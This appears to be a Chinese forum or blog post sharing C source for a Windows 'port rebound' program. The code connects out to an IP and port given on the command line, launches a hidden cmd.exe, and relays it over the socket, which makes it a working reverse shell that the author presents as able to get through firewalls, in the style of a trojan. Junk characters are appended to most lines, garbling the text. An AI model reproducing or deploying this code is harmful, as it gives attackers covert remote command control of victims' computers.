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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?M?S+@(  
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/* ============================== ::bK{yZm   
Rebound port in Windows NT /'vCO |?L  
By wind,2006/7 %@JNX}Y'  
===============================*/ 2E]SKpJ  
#include F~j U;L  
#include l-|hvv5g  
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#pragma comment(lib,"wsock32.lib") s>y=-7:N  
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void OutputShell(); kT|{5Kn&s  
SOCKET sClient; 4-l G{I_S:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $r0~& $T&  
:5 XNV6^|  
void main(int argc,char **argv) Bqo8G->  
{ 7+^9"k7  
WSADATA stWsaData; XP#j9CF#.  
int nRet; Om #m":  
SOCKADDR_IN stSaiClient,stSaiServer; c6zghP3dR  
#XSs.i{  
if(argc != 3) cH$zDm1  
{ />1Ndj  
printf("Useage:\n\rRebound DestIP DestPort\n"); (S ~|hk^  
return; 43_;Z| T  
} j TVh`d< N  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]WLQ q4q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jET$wKw%  
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stSaiClient.sin_family = AF_INET; 4 yLC  
stSaiClient.sin_port = htons(0); C'~K amS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \ ) H}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V?KACYd@O  
{ t{)Z$ )'  
printf("Bind Socket Failed!\n"); c;\}R#  
return; ,P G d  
} HEZgHL  
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stSaiServer.sin_family = AF_INET; LR:Qb]|"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :^ 9sy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &{#4^.Q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) OC)~psQK  
{ OGmOk>_  
printf("Connect Error!"); ["FC   
return; 53y,eLf  
} \W^Mo>l  
OutputShell(); h@nNm30i  
} w h4WII  
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void OutputShell() +h!OdWD9  
{ jVh I`F{n  
char szBuff[1024]; {/f\lS.5g  
SECURITY_ATTRIBUTES stSecurityAttributes; FmU>q)  
OSVERSIONINFO stOsversionInfo; 8u+FWbOl]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B o@B9/ABv  
STARTUPINFO stStartupInfo; }1EfyR  
char *szShell; UzLe#3MU  
PROCESS_INFORMATION stProcessInformation; hAHZN^x&  
unsigned long lBytesRead; X^L)5n+$X  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZY%]F,Y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4]\ f}  
stSecurityAttributes.lpSecurityDescriptor = 0; u_0&`zq  
stSecurityAttributes.bInheritHandle = TRUE; lZpa)1.tiC  
jY.iQBhjEB  
7|~j=,HU+Z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3:q\]]]S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %m8;Lh- X  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5o2W[<%v  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B?}ZAw>  
stStartupInfo.wShowWindow = SW_HIDE; wd4wYk\  
stStartupInfo.hStdInput = hReadPipe; h/9{E:ML  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4J lB\8rc  
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GetVersionEx(&stOsversionInfo); 6mH0|:CsY  
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switch(stOsversionInfo.dwPlatformId) aOWE\I c8  
{ ! E\xn^  
case 1:  ;d"F'd  
szShell = "command.com";  ZzDE  
break; 7C7eX J9q  
default: rh;@|/<l  
szShell = "cmd.exe"; u&Ze$z  
break; !ueyVE$1  
} cO$ PK  
wKe$(>d"L  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M[wd.\ %  
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send(sClient,szMsg,77,0); aL63=y  
while(1) MMs#Y1dH  
{ 3q*y~5&I  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @=KuoIV  
if(lBytesRead) X2 {n&K  
{ 7%aaqQ1T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #q2 cVN1  
send(sClient,szBuff,lBytesRead,0); YyR)2j1O  
} j~+<~2%c  
else 4z~ fn9g  
{ INQ0h`T  
lBytesRead=recv(sClient,szBuff,1024,0); EYc, "'  
if(lBytesRead<=0) break; _c}@Fi+E  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R-Y|;  
} *&VH!K#@{  
} ZVo%ssVt  
chjXsq#Q^  
return; "zSi9]j  
}
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